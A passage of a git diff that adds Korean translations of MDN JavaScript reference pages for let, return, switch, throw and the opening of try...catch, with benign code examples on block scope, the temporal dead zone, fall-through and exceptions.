+<p><a href="/en-US/docs/Glossary/Constructor">생성자</a>와 함께 사용하여 <a href="/en-US/docs/Web/JavaScript/Closures">클로저</a>를 사용하지 않고 비공개 변수를 만들고 접근할 수 있다.</p>
+
+<pre class="brush:js">var Thing;
+
+{
+  let privateScope = new WeakMap();
+  let counter = 0;
+
+  Thing = function() {
+    this.someProperty = 'foo';
+
+    privateScope.set(this, {
+      hidden: ++counter,
+    });
+  };
+
+  Thing.prototype.showPublic = function() {
+    return this.someProperty;
+  };
+
+  Thing.prototype.showPrivate = function() {
+    return privateScope.get(this).hidden;
+  };
+}
+
+console.log(typeof privateScope);
+// "undefined"
+
+var thing = new Thing();
+
+console.log(thing);
+// Thing {someProperty: "foo"}
+
+thing.showPublic();
+// "foo"
+
+thing.showPrivate();
+// 1
+</pre>
+
+<h3 id="임시적인_사각_지역과_오류">임시적인 사각 지역과 오류</h3>
+
+<p>같은 변수를 같은 함수나 블록 범위 내에서 재선언하면 {{jsxref("SyntaxError")}}가 발생한다.</p>
+
+<pre class="brush: js example-bad">if (x) {
+  let foo;
+  let foo; // SyntaxError thrown.
+}</pre>
+
+<p>ECMAScript 2015에서는<strong><code>let</code></strong>은 <strong>선언 끌어올리기</strong>의 적용을 받지 않습니다.  이는 <strong><code>let</code></strong> 선언이 현재 실행되는 구간의 최상위로 옮겨지지 않는다는 것을 의미합니다. 따라서 변수가 초기화(선언)되기 전에 참조할 경우 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code>가 발생합니다.(<strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>로 선언된 변수는 undefined 값을 가지는 것과는 대조적입니다.) "임시적인 사각 지역"은 블록 시작 부분부터 변수 선언이 실행되기 전까지 입니다.</p>
+
+<p>(<strong><code>let</code></strong>들의 정의가 평가되기까지 초기화가 되지 않는다는 의미이지. 호이스팅이 되지않아 정의가 되지 않는다는 의미와는 다르다고 생각함_헷갈리면 안된다.)</p>
+
+<pre class="brush: js example-bad">function do_something() {
+  console.log(bar); // undefined
+  console.log(foo); // ReferenceError
+  var bar = 1;
+  let foo = 2;
+}</pre>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Statements/switch"><code>switch</code></a> 구문을 사용할 때는 실제 블록이 하나 뿐이므로 중복 선언 오류가 발생하기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">let x = 1;
+switch(x) {
+  case 0:
+    let foo;
+    break;
+
+  case 1:
+    let foo; // 재선언에 의한 SyntaxError.
+    break;
+}</pre>
+
+<p>하지만 case 조건을 새로운 블록으로 감싸면 위의 코드와는 다르게 재선언 오류가 발생하지 않습니다.</p>
+
+<pre class="brush: js">let x = 1;
+
+switch(x) {
+  case 0: {
+    let foo;
+    break;
+  }
+  case 1: {
+    let foo;
+    break;
+  }
+}</pre>
+
+<h3 id="임시적인_사각_지역과_typeof">임시적인 사각 지역과 <code>typeof</code></h3>
+
+<p>선언되지 않은 변수와 <code>undefined</code> 값을 지닌 변수와는 다르게, 임시적인 사각 지역에 있는 변수에 변수형 확인을 위해 <code>typeof</code>을 사용하면 <code>ReferenceError</code>가 발생합니다:</p>
+
+<pre class="brush: js">// 'undefined' 출력
+console.log(typeof undeclaredVariable);
+// 'ReferenceError' 발생
+console.log(typeof i);
+let i = 10;</pre>
+
+<h3 id="정적_유효_범위와_결합된_임시적인_사각_지역_예시">정적 유효 범위와 결합된 임시적인 사각 지역 예시</h3>
+
+<p>정적 유효 범위로 인해, 표현 <code>(foo + 55)</code> 내부의 "<strong>foo</strong>"는 33을 값으로 가지는 <u>상위 블록의 foo</u>가 아니라 <u>if 블록의 foo</u>로 해석됩니다. 해당 행에서 <u>if 블록의 "foo"</u>는 이미 정적 유효 범위에 생성되었지만, 선언의 초기화가 완료(선언 구문의 <strong>종료</strong>)되지 않았습니다. 따라서 여전히 임시적인 사각 지역에 해당됩니다.</p>
+
+<pre class="brush: js example-bad">function test(){
+   var foo = 33;
+   if (true) {
+      let foo = (foo + 55); // ReferenceError
+   }
+}
+test();</pre>
+
+<p>이 현상은 다음과 같은 상황에서 혼란을 유발할 수 있습니다. 지시 구문  <code>let n of n.a</code>은 이미 for loop 블록에 속해 있으며, 구문자 "<strong>n.a</strong>"는 속성 'a'를 지시 구문 자기자신의 앞부분에 위치한 객체 'n'에서 참조하려 합니다. 해당 객체 'n'은 위와 마찬가지로 선언이 <strong>종료</strong>되지 않았기에 임시적인 사각 지역에 해당합니다.</p>
+
+<pre class="brush: js example-bad">function go(n) {
+  // 정의되어 있는 n!
+  console.log(n); // Object {a: [1,2,3]}
+
+  for (let n of n.a) { // ReferenceError
+    console.log(n);
+  }
+}
+
+go({a: [1, 2, 3]});
+</pre>
+
+<h2 id="그_외_상황들">그 외 상황들</h2>
+
+<p>블록을 사용할 때, <strong><code>let</code></strong>은 변수의 유효 범위를 블록으로 제한합니다. 함수 내 또는 전역을 유효 범위로 가지는 <code><strong>var</strong></code>와의 차이점을 숙지하세요.</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+
+if (a === 1) {
+  var a = 11; // 전역 변수
+  let b = 22; // if 블록 변수
+
+  console.log(a);  // 11
+  console.log(b);  // 22
+}
+
+console.log(a); // 11
+console.log(b); // 2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition. Does not specify let expressions or let blocks.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.let")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/">ES6 In Depth: <code>let</code> and <code>const</code></a></li>
+ <li><a href="https://blog.mozilla.org/addons/2015/10/14/breaking-changes-let-const-firefox-nightly-44/">Breaking changes in <code>let</code> and <code>const</code> in Firefox 44</a></li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md">You Don't Know JS: Scope &amp; Closures: Chapter 3: Function vs. Block Scope</a></li>
+ <li><a href="https://stackoverflow.com/a/33198850/1125029">StackOverflow: What is the Temporal Dead Zone. </a></li>
+ <li><a href="https://stackoverflow.com/questions/762011/whats-the-difference-between-using-let-and-var-to-declare-a-variable">StackOverflow: What is the difference between using let and var?</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/return/index.html b/files/ko/web/javascript/reference/statements/return/index.html
new file mode 100644
index 0000000000..e865cb9a65
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/return/index.html
@@ -0,0 +1,159 @@
+---
+title: return
+slug: Web/JavaScript/Reference/Statements/return
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>return</code> 명령문</strong>은 함수 실행을 종료하고, 주어진 값을 함수 호출 지점으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-return.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">return [[expression]]; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>반환할 값으로 사용할 표현식. 생략할 경우 {{jsxref("undefined")}}를 대신 반환합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 본문에서 <code>return</code> 명령문에 도달하면 함수의 실행은 그 지점에서 중단됩니다. 값을 제공한 경우 함수를 호출한 곳에 그 값을 반환합니다. 예를 들어, 다음 함수는 숫자 매개변수 <code>x</code>의 제곱을 반환합니다.</p>
+
+<pre class="brush: js">function square(x) {
+   return x * x;
+}
+var demo = square(3);
+// demo는 9</pre>
+
+<p>값을 명시하지 않으면 대신 <code>undefined</code>를 반환합니다.</p>
+
+<p>다음 <code>return</code> 명령문 모두 함수 실행을 끊습니다.</p>
+
+<pre class="brush: js">return;
+return true;
+return false;
+return x;
+return x + y / 3;
+</pre>
+
+<h3 id="자동_세미콜론_삽입">자동 세미콜론 삽입</h3>
+
+<p><code>return</code> 명령문은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">자동 세미콜론 삽입(ASI)</a>의 영향을 받습니다. <code>return</code> 키워드와 표현식 사이에는 줄바꿈 문자가 올 수 없습니다.</p>
+
+<pre class="brush: js">return
+a + b;
+</pre>
+
+<p>위 코드는 ASI로 인해 아래처럼 처리됩니다.</p>
+
+<pre class="brush: js">return;
+a + b;
+</pre>
+
+<p>콘솔이 "unreachable code after return statement" 경고를 출력할 것입니다.</p>
+
+<div class="note">Gecko 40 {{geckoRelease(40)}}부터, <code>return</code> 이후에 위치하여 도달할 수 없는 코드를 발견하면 콘솔에 경고를 출력합니다.</div>
+
+<p>문제를 해결하려면 괄호를 사용해 ASI를 방지해야 합니다.</p>
+
+<pre class="brush: js">return (
+  a + b
+);
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_중단">함수 중단</h3>
+
+<p>함수는 <code>return</code>을 호출하는 지점에서 즉시 실행을 멈춥니다.</p>
+
+<pre class="brush: js">function counter() {
+  for (var count = 1; ; count++) {  // 무한 반복
+    console.log(count + "A"); // 5까지
+      if (count === 5) {
+        return;
+      }
+      console.log(count + "B");  // 4까지
+    }
+  console.log(count + "C");  // 절대 나타나지 않음
+}
+
+counter();
+
+// 출력:
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+</pre>
+
+<h3 id="함수_반환하기">함수 반환하기</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a>에 대해서도 더 알아보세요.</p>
+
+<pre class="brush: js">function magic(x) {
+  return function calc(x) { return x * 42 };
+}
+
+var answer = magic();
+answer(1337); // 56154
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.return")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/switch/index.html b/files/ko/web/javascript/reference/statements/switch/index.html
new file mode 100644
index 0000000000..b4eb68e5a7
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/switch/index.html
@@ -0,0 +1,306 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Statements/switch
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary">The <strong><code>switch</code> statement</strong> evaluates an <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">expression</a>, matching the expression's value to a <code>case</code> clause, and executes <a href="/en-US/docs/Web/JavaScript/Reference/Statements">statements</a> associated with that case, as well as statements in cases that follow the matching case.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush: js">switch (expression) {
+  case value1:
+    //Statements executed when the
+    //result of expression matches value1
+    [break;]
+  case value2:
+    //Statements executed when the
+    //result of expression matches value2
+    [break;]
+  ...
+  case valueN:
+    //Statements executed when the
+    //result of expression matches valueN
+    [break;]
+  [default:
+    //Statements executed when none of
+    //the values match the value of the expression
+    [break;]]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd><br>
+ 각각의 case 절에 맞추어볼 결과에 대한 <code>expression</code></dd>
+ <dt><code>case valueN</code> {{optional_inline}}</dt>
+ <dd>어떤 <code>case</code> 절은  <code>expression</code>와 맞추어보는데 사용된다. 만약 <code>expression</code> 이 특정 <code>valueN</code>과 일치 된다면, <code>switch</code> statement 문이 끝나거나 <code>break</code>가 오떄까지 case 절 내부가 실행된다.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd><code>default</code> 절; 만약 있다면,  어떤 <code>case</code>의 절도 <code>expression</code> 값과 일치되지 않는다면, default 절이 실행된다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>A switch statement first evaluates its expression. It then looks for the first <code>case</code> clause whose expression evaluates to the same value as the result of the input expression (using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">strict comparison</a>, <code>===</code>) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)</p>
+
+<p>If no matching <code>case</code> clause is found, the program looks for the optional <code>default</code> clause, and if found, transfers control to that clause, executing the associated statements. If no <code>default</code> clause is found, the program continues execution at the statement following the end of <code>switch</code>. By convention, the <code>default</code> clause is the last clause, but it does not need to be so.</p>
+
+<p>The optional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If <code>break</code> is omitted, the program continues execution at the next statement in the <code>switch</code> statement.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_switch">Using <code>switch</code></h3>
+
+<p>In the following example, if <code>expr</code> evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When <code>break</code> is encountered, the program breaks out of <code>switch</code> and executes the statement following <code>switch</code>. If <code>break</code> were omitted, the statement for case "Cherries" would also be executed.</p>
+
+<pre class="brush: js">switch (expr) {
+  case 'Oranges':
+    console.log('Oranges are $0.59 a pound.');
+    break;
+  case 'Apples':
+    console.log('Apples are $0.32 a pound.');
+    break;
+  case 'Bananas':
+    console.log('Bananas are $0.48 a pound.');
+    break;
+  case 'Cherries':
+    console.log('Cherries are $3.00 a pound.');
+    break;
+  case 'Mangoes':
+  case 'Papayas':
+    console.log('Mangoes and papayas are $2.79 a pound.');
+    break;
+  default:
+    console.log('Sorry, we are out of ' + expr + '.');
+}
+
+console.log("Is there anything else you'd like?");
+</pre>
+
+<h3 id="break를_쓰지않으면_어떻게_되는가">break를 쓰지않으면 어떻게 되는가?</h3>
+
+<p>If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+  case -1:
+    console.log('negative 1');
+    break;
+  case 0: // foo is 0 so criteria met here so this block will run
+    console.log(0);
+    // NOTE: the forgotten break would have been here
+  case 1: // no break statement in 'case 0:' so this case will run as well
+    console.log(1);
+    break; // it encounters this break so will not continue into 'case 2:'
+  case 2:
+    console.log(2);
+    break;
+  default:
+    console.log('default');
+}</pre>
+
+<h3 id="Can_I_put_a_default_between_cases">Can I put a default between cases?</h3>
+
+<p>Yes, you can! JavaScript will drop you back to the default if it can't find a match:</p>
+
+<pre class="brush: js">var foo = 5;
+switch (foo) {
+  case 2:
+    console.log(2);
+    break; // it encounters this break so will not continue into 'default:'
+  default:
+    console.log('default')
+    // fall-through
+  case 1:
+    console.log('1');
+}
+</pre>
+
+<p>It also works when you put default before all other cases.</p>
+
+<h3 id="Methods_for_multi-criteria_case">Methods for multi-criteria case</h3>
+
+<p>Source for this technique is here:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Multi-case_-_single_operation">Multi-case - single operation</h4>
+
+<p>This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"</p>
+
+<p>This is an example of a single operation sequential switch statement, where four different values perform exactly the same.</p>
+
+<pre class="brush: js">var Animal = 'Giraffe';
+switch (Animal) {
+  case 'Cow':
+  case 'Giraffe':
+  case 'Dog':
+  case 'Pig':
+    console.log('This animal will go on Noah\'s Ark.');
+    break;
+  case 'Dinosaur':
+  default:
+    console.log('This animal will not.');
+}</pre>
+
+<h4 id="Multi-case_-_chained_operations">Multi-case - chained operations</h4>
+
+<p>This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.</p>
+
+<pre class="brush: js">var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+  case 0:
+    output += 'So ';
+  case 1:
+    output += 'What ';
+    output += 'Is ';
+  case 2:
+    output += 'Your ';
+  case 3:
+    output += 'Name';
+  case 4:
+    output += '?';
+    console.log(output);
+    break;
+  case 5:
+    output += '!';
+    console.log(output);
+    break;
+  default:
+    console.log('Please pick a number from 0 to 5!');
+}</pre>
+
+<p>이 예제의 결과:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Value</th>
+   <th scope="col">Log text</th>
+  </tr>
+  <tr>
+   <td>foo is NaN or not 1, 2, 3, 4, 5 or 0</td>
+   <td>Please pick a number from 0 to 5!</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>Output: So What Is Your Name?</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>Output: What Is Your Name?</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Output: Your Name?</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>Output: Name?</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Output: ?</td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td>Output: !</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Block-scope_variables_within_switch_statements">Block-scope variables within <code>switch</code> statements</h3>
+
+<p>With ECMAScript 2015 (ES6) support made available in most modern browsers, there will be cases where you would want to use <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> statements to declare block-scoped variables.</p>
+
+<p>Take a look at this example:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello':
+    let message = 'hello';
+    console.log(message);
+    break;
+  case 'say_hi':
+    let message = 'hi';
+    console.log(message);
+    break;
+  default:
+    console.log('Empty action received.');
+    break;
+}</pre>
+
+<p>This example will output the error <code>Uncaught SyntaxError: Identifier 'message' has already been declared</code> which you were not probably expecting.</p>
+
+<p>This is because the first <code>let message = 'hello';</code> conflicts with second let statement <code>let message = 'hi';</code> even they're within their own separate case statements <code>case 'say_hello':</code> and <code>case 'say_hi':</code>; ultimately this is due to both <code>let</code> statements being interpreted as duplicate declarations of the same variable name within the same block scope.</p>
+
+<p>We can easily fix this by wrapping our case statements with brackets:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello': <strong>{ // added brackets</strong>
+    let message = 'hello';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  case 'say_hi': <strong>{ // added brackets</strong>
+    let message = 'hi';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  default: <strong>{ // added brackets</strong>
+    console.log('Empty action received.');
+    break;
+  <strong>} // added brackets</strong>
+}</pre>
+
+<p>This code will now output <code>hello</code> in the console as it should, without any errors at all.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/throw/index.html b/files/ko/web/javascript/reference/statements/throw/index.html
new file mode 100644
index 0000000000..ff5ccb2333
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/throw/index.html
@@ -0,0 +1,198 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Statements/throw
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>throw</code> </strong>문은 사용자 정의 예외를 던질 수 있습니다. 현재 함수의 실행이 중지되고 (<code>throw</code> 이후의 명령문은 실행되지 않습니다.), 컨트롤은 콜 스택의 첫 번째 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> 블록으로 전달됩니다. 호출자 함수 사이에 <code>catch</code> 블록이 없으면 프로그램이 종료됩니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">throw <em>expression</em>; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>예외를 던지는 구문</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>예외를 발생하기 위해 <code>throw</code> 문을 사용하세요. <br>
+ 예외를 던지면 <code>expression</code>은 예외 값을 지정합니다.<br>
+ 다음 각각은 예외를 던집니다:</p>
+
+<pre class="brush: js">throw 'Error2'; // generates an exception with a string value
+throw 42;       // generates an exception with the value 42
+throw true;     // generates an exception with the value true</pre>
+
+<p>또한 <code>throw</code> 문은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">자동 세미콜론 삽입</a> (ASI)에 의해 영향을 받으며 <code>throw</code> 키워드와 표현식 사이에 줄 종결자는 허용되지 않으므로 주의해야합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_throw_하기">객체 throw 하기</h3>
+
+<p>예외를 던질 때 객체를 지정할 수 있습니다. 그러면 <code>catch</code> 블록에서 객체의 속성을 참조 할 수 있습니다.<br>
+ 다음 예제에서는 <code>UserException</code> 유형의 객체를 만들고 <code>throw</code> 구문에서 이 객체를 사용합니다.</p>
+
+<pre class="brush: js">function UserException(message) {
+   this.message = message;
+   this.name = 'UserException';
+}
+function getMonthName(mo) {
+   mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+   var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+      'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+   if (months[mo] !== undefined) {
+      return months[mo];
+   } else {
+      throw new UserException('InvalidMonthNo');
+   }
+}
+
+try {
+   // statements to try
+   var myMonth = 15; // 15 is out of bound to raise the exception
+   var monthName = getMonthName(myMonth);
+} catch (e) {
+   monthName = 'unknown';
+   console.log(e.message, e.name); // pass exception object to err handler
+}
+</pre>
+
+<h3 id="객체를_throw_하는_다른_예제">객체를 throw 하는 다른 예제</h3>
+
+<p>다음 예제는 입력 문자열에서 미국 우편 번호를 테스트합니다.<br>
+ 우편 번호가 잘못된 형식을 사용하는 경우 throw 문은 <code>ZipCodeFormatException</code> 유형의 개체를 만들어 예외를 던집니다.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // zip code value will be the first match in the string
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipCodeFormatException(zip);
+   }
+}
+
+function ZipCodeFormatException(value) {
+   this.value = value;
+   this.message = 'does not conform to the expected format for a zip code';
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipCodeFormatException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = verifyZipCode(95060);         // returns 95060
+b = verifyZipCode(9560);          // returns -1
+c = verifyZipCode('a');           // returns -1
+d = verifyZipCode('95060');       // returns 95060
+e = verifyZipCode('95060 1234');  // returns 95060 1234
+</pre>
+
+<h3 id="Rethrow_an_exception">Rethrow an exception</h3>
+
+<p><code>throw</code>를 사용하여 예외를 잡은 후에 예외를 다시 던질 수 있습니다.<br>
+ 다음 예제에서는 숫자 값으로 예외를 잡고 값이 50 이상이면 예외를 다시 throw합니다.<br>
+ 반환 된 예외는 둘러싸는 함수 또는 최상위 수준으로 전파되어 사용자가 볼 수 있도록합니다</p>
+
+<pre class="brush: js">try {
+   throw n; // throws an exception with a numeric value
+} catch (e) {
+   if (e &lt;= 50) {
+      // statements to handle exceptions 1-50
+   } else {
+      // cannot handle this exception, so rethrow
+      throw e;
+   }
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.throw")}}</p>
+
+<h2 id="추가적으로_볼_것">추가적으로 볼 것</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/try...catch/index.html b/files/ko/web/javascript/reference/statements/try...catch/index.html
new file mode 100644
index 0000000000..c7cdf05b1f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/try...catch/index.html
@@ -0,0 +1,273 @@
+---
+title: try...catch
+slug: Web/JavaScript/Reference/Statements/try...catch
+translation_of: Web/JavaScript/Reference/Statements/try...catch
+---
+<div>
+<p>{{jsSidebar("Statements")}}</p>
+
+<p><strong><code>try...catch</code></strong> 문은 실행할 코드블럭을 표시하고 예외(exception)가 발생(throw)할 경우의 응답을 지정합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="notranslate">try {
+  <em>try_statements</em>
+}
+[catch (<em>exception_var</em>) {
+  <em>catch_statements</em>
+}]
+[finally {
+  <em>finally_statements</em>
+}]</pre>
+
+<dl>
+ <dt><code>try_statements</code></dt>
+ <dd>실행될 선언들</dd>
+</dl>
+
+<dl>
+ <dt><code>catch_statements</code></dt>
+ <dd>try 블록에서 예외가 발생했을 때 실행될 선언들</dd>
+</dl>
+
+<dl>
+ <dt><code>exception_var</code></dt>
